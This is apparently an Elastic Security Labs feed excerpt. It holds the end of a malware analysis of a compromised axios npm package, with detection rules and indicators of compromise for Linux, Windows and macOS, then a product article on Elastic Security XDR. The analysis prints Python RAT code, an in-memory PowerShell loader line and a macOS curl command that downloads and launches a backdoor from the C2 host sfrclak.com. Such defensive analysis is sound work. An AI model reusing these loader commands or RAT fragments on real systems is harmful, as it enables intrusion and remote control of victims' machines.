<p>Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a>.</p>
<pre><code>event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&amp;)
</code></pre>
<p>Which captures the second half of the chain:</p>
<pre><code>sh -c &quot;... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;&quot;
</code></pre>
<p>The payload is launched with <code>nohup</code> and backgrounded immediately using <code>&amp;</code>, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.</p>
<p>After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint <code>work()</code> sends an initial <code>FirstInfo</code> message and then transitions into <code>main_work()</code>, which continuously reports host data and processes tasking:</p>
<pre><code class="language-py">while True:
    ps = print_process_list()

    data = {
        &quot;hostname&quot;: get_host_name(),
        &quot;username&quot;: get_user_name(),
        &quot;os&quot;: os,
        &quot;processList&quot;: ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)
</code></pre>
<p>On first check-in, it performs a targeted directory enumeration via <code>init_dir_info()</code> across user paths such as <code>$HOME</code>, <code>.config</code>, <code>Documents</code>, and <code>Desktop</code>, and builds a process listing directly from <code>/proc</code>, including usernames and start times.</p>
<p>Tasking is minimal but flexible. <code>runscript</code> supports arbitrary shell execution or base64-delivered Python via <code>python3 -c</code>, while <code>peinject</code> simply writes attacker-supplied bytes to a hidden file in <code>/tmp</code> and executes it:</p>
<pre><code class="language-py">file_path = f&quot;/tmp/.{generate_random_string(6)}&quot;
with open(file_path, &quot;wb&quot;) as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode(&quot;utf-8&quot;)))
</code></pre>
<p>This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.</p>
<p>Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></li>
</ul>
<h3>Windows</h3>
<p>The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (<code>C:\ProgramData\wt.exe</code>). The following alert shows the process chain:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/image5.png" alt="Elastic - Alert Process Tree" title="Elastic - Alert Process Tree" /></p>
<p>Where:</p>
<ul>
<li><code>wt.exe</code> is a renamed copy of <code>PowerShell.exe</code> located in <code>C:\ProgramData\wt.exe</code></li>
<li><code>curl</code> is used to retrieve a remote PowerShell script</li>
<li>execution is performed via the renamed binary</li>
</ul>
<p>We first observe the creation and use of the renamed interpreter. This is captured by <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>, which flags signed system binaries executed from unexpected locations.</p>
<p>Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>, capturing the network retrieval stage driven from the scripted execution chain.</p>
<p>The second stage is a PowerShell-based RAT that beacons to its C2 (<code>http[:]//sfrclak[.]com:8000/</code>) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.</p>
<p>It establishes persistence via <code>Run\MicrosoftUpdate</code> registry key to execute a hidden bat script <code>C:\ProgramData\system.bat:</code></p>
<p>The batch file dynamically retrieves and executes the payload in memory on login:</p>
<pre><code>
start /min powershell -w h -c &quot;
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''&quot;
</code></pre>
<p>Its core capabilities include:</p>
<ul>
<li><strong>peinject</strong> - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.</li>
<li><strong>runscript</strong> - arbitrary PowerShell script execution via encoded commands or temp files,</li>
<li><strong>rundir</strong> - filesystem enumeration of user directories and all drive roots.</li>
</ul>
<p>On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.</p>
<p>The second stage triggers both the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> alerts:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/image2.png" alt="" /></p>
<p>The <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> rule alert captures the PowerShell RAT script content :</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/image1.png" alt="" /></p>
<p>Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></li>
</ul>
<h3>macOS</h3>
<p>Analysis shows the loader writes AppleScript to a temp file, runs it via <code>osascript</code>, then downloads the second stage to a fake Apple-looking cache path and launches it through <code>/bin/zsh</code>. The key launcher looks like this:</p>
<pre><code>do shell script &quot;curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 &amp;&amp; chmod 770 /Library/Caches/com.apple.act.mond \
 &amp;&amp; /bin/zsh -c \&quot;/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &amp;\&quot; \ &amp;&gt; /dev/null&quot;
</code></pre>
<p>The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/image3.png" alt="Elastic Defend behavior alert triggering on the macOS backdoor" title="Elastic Defend behavior alert triggering on the macOS backdoor" /></p>
<p>The payload path itself triggers the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> endpoint rules, as it mimics Apple naming conventions (<code>com.apple.*</code>) but does not match expected signing characteristics.</p>
<p><code>com.apple.act.mond</code> is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via <code>libcurl</code> and a JSON command protocol.</p>
<p>On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (<code>ps -eo user,pid,command</code>), which surfaces via the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> endpoint rule, capturing unexpected child process activity originating from the backdoor:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/image4.png" alt="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" title="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" /></p>
<p>The macOS backdoor facilitates:</p>
<ul>
<li>C2 connection by passing a URL directly as an argument.</li>
<li>AppleScript execution using <code>osascript</code> via temporary hidden <code>.scpt</code> files dropped to <code>/tmp/</code></li>
<li>Filesystem enumeration targeting <code>/Applications</code> and <code>~/Library/Application Support</code></li>
<li>Downloading and executing remote base64-encoded payloads.</li>
<li>Ad-hoc code signing of dropped payloads (<code>codesign --force --deep --sign - “/private/tmp/.*”</code>)  so it can run past Gatekeeper.</li>
</ul>
<p>The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (<code>Jain_DEV/client_mac/macWebT</code>) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).</p>
<p>These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></li>
</ul>
<h2>Conclusion</h2>
<p>This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.</p>
<p>Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.</p>
<p>From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.</p>
<p>Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.</p>
<h2>Indicators of Compromise (IOCs)</h2>
<h3>Related Alerts</h3>
<table>
<thead>
<tr>
<th align="left">Alert</th>
<th align="left">Operating System</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a></td>
<td align="left">Linux</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></td>
<td align="left">Linux</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a></td>
<td align="left">macOS</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a></td>
<td align="left">macOS</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></td>
<td align="left">macOS</td>
</tr>
</tbody>
</table>
<h3>Malicious Packages</h3>
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
<th>Hash (shasum)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios</code></td>
<td><code>1.14.1</code></td>
<td><code>2553649f232204966871cea80a5d0d6adc700ca</code></td>
</tr>
<tr>
<td><code>axios</code></td>
<td><code>0.30.4</code></td>
<td><code>d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71</code></td>
</tr>
<tr>
<td><code>plain-crypto-js</code></td>
<td><code>4.2.1</code></td>
<td><code>07d889e2dadce6f3910dcbc253317d28ca61c766</code></td>
</tr>
</tbody>
</table>
<p>Additional related packages observed in the ecosystem abuse:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>@shadanai/openclaw</code></td>
<td><code>2026.3.28-2</code>, <code>2026.3.28-3</code>, <code>2026.3.31-1</code>, <code>2026.3.31-2</code></td>
</tr>
<tr>
<td><code>@qqbrowser/openclaw-qbot</code></td>
<td><code>0.0.130</code></td>
</tr>
</tbody>
</table>
<h3>Script / Payload Hashes (SHA256)</h3>
<table>
<thead>
<tr>
<th>File</th>
<th>SHA256</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>setup.js</code></td>
<td><code>e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code></td>
</tr>
<tr>
<td><code>/tmp/ld.py</code></td>
<td><code>6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7</code></td>
</tr>
<tr>
<td><code>6202033.ps1</code></td>
<td><code>ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c</code></td>
</tr>
<tr>
<td><code>system.bat</code></td>
<td><code>e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff</code></td>
</tr>
<tr>
<td><code>com.apple.act.mond</code></td>
<td><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
</tr>
</tbody>
</table>
<h3>Network Indicators</h3>
<table>
<thead>
<tr>
<th>Type</th>
<th>Indicator</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2 Domain</td>
<td><code>sfrclak[.]com</code></td>
</tr>
<tr>
<td>C2 IP</td>
<td><code>142.11.206[.]73</code></td>
</tr>
<tr>
<td>C2 URL</td>
<td><code>http://sfrclak[.]com:8000/6202033</code></td>
</tr>
<tr>
<td>User-Agent</td>
<td><code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></td>
</tr>
<tr>
<td>macOS POST body</td>
<td><code>packages[.]npm[.]org/product0</code></td>
</tr>
<tr>
<td>Windows POST body</td>
<td><code>packages[.]npm[.]org/product1</code></td>
</tr>
<tr>
<td>Linux POST body</td>
<td><code>packages[.]npm[.]org/product2</code></td>
</tr>
</tbody>
</table>
<h3>File System Indicators</h3>
<h4>Cross-platform</h4>
<table>
<thead>
<tr>
<th>Path / Artifact</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>$TMPDIR/6202033</code></td>
<td>Temporary staging artifact</td>
</tr>
<tr>
<td><code>*/node_modules/plain-crypto-js/setup.js</code></td>
<td>Node.js first-stage dropper</td>
</tr>
</tbody>
</table>
<h4>Linux</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/tmp/ld.py</code></td>
<td>Python RAT second stage</td>
</tr>
</tbody>
</table>
<h4>Windows</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>%PROGRAMDATA%\wt.exe</code></td>
<td>Renamed <code>powershell.exe</code> (execution proxy)</td>
</tr>
<tr>
<td><code>%PROGRAMDATA%\system.bat</code></td>
<td>Persistence launcher</td>
</tr>
<tr>
<td><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code></td>
<td>Persistence key</td>
</tr>
<tr>
<td><code>%TEMP%\6202033.vbs</code></td>
<td>VBS launcher (self-deletes)</td>
</tr>
<tr>
<td><code>%TEMP%\6202033.ps1</code></td>
<td>PowerShell payload (self-deletes)</td>
</tr>
</tbody>
</table>
<h4>macOS</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Mach-O backdoor payload</td>
</tr>
<tr>
<td><code>/tmp/*.scpt</code></td>
<td>Temporary AppleScript launcher</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/axios-supply-chain-compromise-detections/axios-supply-chain-compromise-detections.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Investigating from the Endpoint Across Your Environment with Elastic Security XDR]]></title>
            <link>https://www.elastic.co/fr/security-labs/investigating-from-the-endpoint-across-your-environment</link>
            <guid>investigating-from-the-endpoint-across-your-environment</guid>
            <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[This article highlights how Elastic Security XDR unifies endpoint protection with multi-domain security analytics to help analysts trace and contain multi-stage attacks across hybrid and cloud environments.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Security investigations rarely stay confined to a single host. Today’s attackers increasingly use automation and AI to compress multi-stage attacks into minutes, turning what once unfolded over days into coordinated activity across endpoints, identities, workloads, and cloud services within minutes.</p>
<p>While many attacks begin on an endpoint, investigators must quickly determine how that activity spreads across the environment. In many environments, per-endpoint licensing limits how broadly protection and telemetry can be deployed, creating protection gaps during these investigations.</p>
<p>Elastic Security XDR is built around that reality. It includes best-in-class endpoint protection, without per-endpoint licensing constraints, in an agentic security operations platform where endpoint telemetry, infrastructure signals, and supporting artifacts can be analyzed together.</p>
<p>This post explores how Elastic Security XDR supports investigations across endpoints, workloads, and the broader environment, highlighting tools and workflows that help analysts collect evidence, pivot across telemetry, and respond efficiently.</p>
<h2>Endpoint at the heart of XDR</h2>
<p>The <a href="https://www.elastic.co/fr/resources/security/report/global-threat-report">2025 Elastic Global Threat Report</a> reveals that with 90% of malware targeting Windows, and browsers acting as the 'primary battleground', host-level visibility is essential to stopping a breach before it scales to the cloud. Elastic Defend, Elastic Security’s native endpoint protection, powers XDR from the endpoint outward. It not only prevents threats across Windows, macOS, and Linux, but also generates rich, investigation-grade telemetry that gives analysts the context they need to understand what happened on a host.</p>
<p>As activity occurs, Elastic Defend captures system events including process execution, file changes, network connections, and related artifacts. This telemetry forms the foundation for broader investigations, allowing analysts to correlate endpoint behavior with activity across workloads, identities, and other systems.</p>
<p>Multiple detection layers protect against malware, ransomware, fileless techniques, and other malicious behaviors, using both static and behavioral analysis. Independent validation from the <a href="https://www.elastic.co/fr/blog/av-comparatives-business-security-test-2025">AV-Comparatives Business Security Test</a> confirms Elastic’s effectiveness; in the 2025 test cycle, Elastic Security was the only vendor that blocked every tested threat, earning perfect scores in both Real-World Protection and Malware Protection.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/image2.png" alt="" /></p>
<p>Elastic also takes a principled approach to openness. Unlike many endpoint security tools that operate as a black box, Elastic publishes detection and prevention logic in an <a href="https://github.com/elastic/protections-artifacts">open repository</a>. This transparency lets analysts understand how protections work, validate them in their own environments, and prioritize high-risk gaps. By empowering users with visibility and insight, Elastic ensures security teams can act with confidence and maximize the value of their investigations.</p>
<h2>Beyond the endpoint: expanding the investigation</h2>
<p>Attacks rarely stay confined to a single host. Credentials may be compromised, workloads modified, or activity spread across cloud services and infrastructure. To fully understand an incident, analysts need to correlate endpoint activity with signals from the broader environment.</p>
<p>Elastic Security XDR enables this by bringing multiple data sources into the same analysis environment through <a href="https://www.elastic.co/fr/integrations/data-integrations?solution=all-solutions&amp;category=security">hundreds of integrations</a> with popular security tools and data sources. Endpoint telemetry,whether collected by Elastic Defend or another EDR platform, can be analyzed alongside cloud activity, identity events, network telemetry, and third-party logs, without forcing organizations into a closed security stack. Elastic provides the <a href="https://www.elastic.co/fr/docs/reference/ecs">common schema</a> and unified detection engine required to normalize disparate signals, allowing analysts to bypass manual data mapping and immediately pivot between sources to follow how activity moves across users, systems, and infrastructure.</p>
<p>Centralized <a href="https://elastic.github.io/detection-rules-explorer/">detection rules</a> operate across the unified dataset in the security platform, complementing <a href="https://github.com/elastic/protections-artifacts">real-time protections</a> that run directly on the endpoint. They enable alerts to reflect correlated activity across multiple domains. Suspicious process activity on a host can be matched with identity events, cloud API calls, or network behavior, helping analysts determine whether an event is isolated or part of a larger attack chain.</p>
<p>Container workloads highlight another way XDR extends investigations. <a href="https://www.elastic.co/fr/security-labs/getting-started-with-defend-for-containers">Elastic Defend for Containers</a> monitors runtime behavior inside containerized environments, detecting suspicious activity such as unexpected process execution, privilege escalation, or access to sensitive resources. By connecting endpoint behavior to the broader environment, Elastic Security XDR gives analysts the visibility needed to scope incidents accurately, prioritize critical threats, and respond with confidence.</p>
<h2>Reconstructing the attack path</h2>
<p>After relevant telemetry is collected, analysts need to piece together what happened and how the attack progressed. Investigations involve pivoting between events, validating hypotheses, and assembling a complete timeline of activity across the environment.</p>
<p>Elastic Security XDR provides <a href="https://www.elastic.co/fr/docs/solutions/security/investigate">investigation tools</a> designed to support this process. Visual Event Analyzer, Session View, and Timeline allow analysts to explore relationships between events, trace execution chains, and correlate activity across datasets while maintaining investigative context.</p>
<p>Visual Event Analyzer offers a graphical view of process relationships, helping analysts spot suspicious parent-child behavior and understand execution flows. Session View reconstructs activity within a process session, showing commands, network connections, and other actions as they unfolded. Timeline acts as an investigative workspace where analysts collect and correlate events from multiple sources, refine queries, and build a coherent attack narrative.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/image5.png" alt="Investigate alerts &amp; processes with Event Analyzer" title="Investigate alerts &amp; processes with Event Analyzer" /></p>
<p>Together, these tools help analysts validate hypotheses faster, deepen analysis, and enable more confident response decisions.</p>
<h2>Agentic investigation: discovery, summarization, and natural language querying</h2>
<p>Elastic Security’s AI-driven investigative workflows help analysts keep pace with modern attacks by accelerating investigation and surfacing connected activity across the environment. Attack Discovery identifies connected alerts across endpoints, workloads, cloud services, and integrated third-party data, helping analysts uncover hidden attack chains without manually correlating events.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/image6.png" alt="Attack Discovery detects and summarizes attack activity against the MITRE Attack Chain." title="Attack Discovery detects and summarizes attack activity against the MITRE Attack Chain." /></p>
<p>Once an investigation is underway, Elastic AI Assistant and Agent Builder enable natural-language workflows that let analysts interact with data and automation more efficiently. Analysts can summarize observations, ask questions about entities and activity, and move seamlessly from supporting signals to containment or remediation actions. With the introduction of <a href="https://www.elastic.co/fr/security-labs/agent-skills-elastic-security">agent skills</a>, teams can now extend these workflows with reusable, task-specific capabilities, such as alert triage, rule management, and case handling, allowing the assistant to execute complex, multi-step security tasks with the same consistency and repeatability as traditional automation, but through a conversational interface.</p>
<p>In practice, these capabilities reduce the time from an initial alert to full incident understanding, allowing SOC teams to respond faster, focus on high-priority threats, and act with confidence.</p>
<h2>Built-in forensics and host artifact collection</h2>
<p>During incident response, investigators often need to retrieve additional host artifacts to confirm attacker behavior, identify persistence, or validate user activity.</p>
<p>Elastic Security XDR includes built-in forensic capabilities that allow responders to collect investigative artifacts directly from affected hosts, reducing the need for separate forensic tooling during common investigative tasks. Elastic Defend supports capturing <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions#memory-dump">memory snapshots</a> for deeper forensic analysis, while <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery">Osquery Manager</a> enables analysts to run targeted queries to gather and examine host artifacts as part of an investigation.</p>
<p>Forensic visibility is further extended through ongoing collaboration with Osquery. By extending Osquery-based forensics with supplemental tables for common investigative artifacts, Elastic helps uncover evidence such as browser history, AMCache records, and jumplist artifacts. These sources make it easier for analysts to examine user activity and execution history on Windows systems during an investigation. Also available is library of prebuilt forensic queries and packs to extract common investigative artifacts across Windows, macOS, and Linux, including:</p>
<ul>
<li>process listings and execution context</li>
<li>scheduled tasks, startup items, and persistence mechanisms</li>
<li>shell history and command execution artifacts</li>
<li>network configuration and connectivity context</li>
<li>file hashes and other execution-related artifacts</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/image3.png" alt="Osquery forensic packs within Elastic Security" title="Osquery forensic packs within Elastic Security" /></p>
<p>These capabilities turn artifact collection into an embedded  step of the investigation, rather than a separate workflow, so teams can confirm what happened all in one platform and act sooner.</p>
<h2>Response actions that keep investigations moving</h2>
<p>Once investigators confirm malicious behavior, the priority shifts to containment and remediation. Elastic Security XDR enables analysts to take immediate action directly from the investigation context, isolating a host, terminating suspicious processes, collecting a file from the endpoint, or running a response script to collect additional evidence needed to complete the analysis.</p>
<p>For organizations using third-party EDRs, Elastic Security XDR can orchestrate containment and response across mixed environments, allowing teams to keep investigation, enforcement, and incident record-keeping anchored in a single platform.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/investigating-from-the-endpoint-across-your-environment/image4.png" alt="Isolating a CrowdStrike-managed host directly from Elastic Security" title="Isolating a CrowdStrike-managed host directly from Elastic Security" /></p>
&lt;div className=&quot;youtube-video-container&quot;&gt;
  &lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Spgx80WKaqs?si=3XMt0uFsbNEtpcHv&quot; title=&quot;Isolating a CrowdStrike-managed host directly from Elastic Security&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerPolicy=&quot;strict-origin-when-cross-origin&quot; allowFullScreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
<h2>Controlling removable media with Device Control</h2>
<p>Investigations often uncover risk paths beyond traditional malware, such as removable media usage or potential USB-based exfiltration. Elastic Security XDR’s Device Control capabilities let teams manage and enforce removable media policies across endpoints, reducing attack surface and preventing unauthorized data transfer.</p>
<p>Device Control also allows teams to automatically block USB devices and maintain a trusted set of approved devices, ensuring policies are enforced consistently across all endpoints.</p>
<h2>Scaling response with Elastic Workflows</h2>
<p>Incident response often follows repeatable steps. When an alert fires, teams enrich it, gather evidence, contain affected hosts, open cases, notify responders, and document decisions, ensuring investigations persist across handoffs and shift changes.</p>
<p><a href="https://www.elastic.co/fr/search-labs/blog/elastic-workflows-automation">Elastic Workflows</a> gives teams a way to encode those steps as a reusable playbook that runs inside the Elastic platform. Workflows are defined declaratively in YAML in Kibana, and can be triggered in multiple ways: when a Kibana alerting rule fires, on a schedule, or manually on demand.</p>
